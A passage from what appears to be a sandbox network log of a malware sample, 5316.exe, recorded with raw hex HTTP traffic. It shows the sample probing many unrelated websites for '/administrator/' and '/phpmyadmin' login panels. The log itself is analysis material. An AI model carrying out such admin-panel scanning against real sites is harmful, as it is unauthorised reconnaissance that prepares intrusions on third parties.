content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	54310	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	243	OUT	GET /administrator/index.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/administrator/
2023-12-20 02:13:23 UTC	337	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://activegraphics.com/administrator/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	54363	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	183	OUT	GET /phpmyadmin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	1079	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038403.7191654920550112748 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:23 GMT X-Served-By: cache-dfw-kdfw8210141-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv0cm7On4dir39PTYYK13tG9,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:23 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-12-20 02:13:23 UTC	252	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	54437	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	242	OUT	GET /administrator/index.php HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.orangutech.com/administrator
2023-12-20 02:13:23 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038403.68816508866841315054 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:23 GMT X-Served-By: cache-dfw-kdfw8210174-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRaloR37yBwto27sHfVedTe4LpzFcK7e5XwSbSU8vWThqRqtswLYe5cSsXSAIMfjvKcQg==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,eeDBBxD+YVnHnsF07EtfmfAuG7xlWm190hK3ivLce/A=,0gGrL7iazMoiuqlb7dEO3ZdfI6TqbNh4OZh++xsYw0miThpsmb4Q7JPiSqMAW3s6569SoDlDV8E8KUfqEoJPbQ== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:23 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:23 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	54071	95.173.180.22	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	177	OUT	GET /administrator/ HTTP/1.1 Host: london.com.tr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	572	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=on08ovkqjgapa12lu8ta9vd420; path=/ Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, Accept Vary: Accept-Encoding,User-Agent
2023-12-20 02:13:24 UTC	15812	IN	Data Raw: 35 32 65 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 Data Ascii: 52ee<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	54632	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	254	OUT	GET /administrator/index.php HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.newriverclimbing.com/administrator
2023-12-20 02:13:24 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038404.14716508723669815060 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:24 GMT X-Served-By: cache-dfw-kdfw8210061-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:24 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:24 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:24 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:24 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	54790	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	325	OUT	GET /administrator/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_JRDwp5DgAqtZHOpgNQj/QFbBlVNvqgjbGxwOwMvGZmkEJmKR2Uyj7gavtZ3Ue/6sebxV60JTE+bymwdlQfPUvw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	54807	199.60.103.2	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	417	OUT	GET /administrator/ HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
